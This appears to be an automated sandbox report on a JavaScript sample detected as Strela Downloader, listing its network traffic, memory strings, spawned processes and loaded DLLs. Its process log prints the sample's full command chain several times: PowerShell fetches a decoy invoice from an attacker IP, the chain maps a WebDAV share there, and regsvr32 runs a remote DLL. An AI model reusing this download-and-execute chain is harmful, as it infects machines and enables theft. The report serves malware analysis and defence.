HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2124528782.0000022F78966000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2124528782.0000022F78951000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2190935668.000001D08E58B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190935668.000001D08E56B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190935668.000001D08E538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2190935668.000001D08E56B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/aC
Source: net.exe, 00000007.00000002.2190935668.000001D08E538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacen
Source: net.exe, 00000007.00000002.2190935668.000001D08E538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: svchost.exe, 00000009.00000002.3413332089.0000016EDFA12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2190478159.0000016EDF820000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3320, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3041621112067010510.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2936:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ba403bqm.vla.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1552,i,575197946732554737,12455436843513113105,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1552,i,575197946732554737,12455436843513113105,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
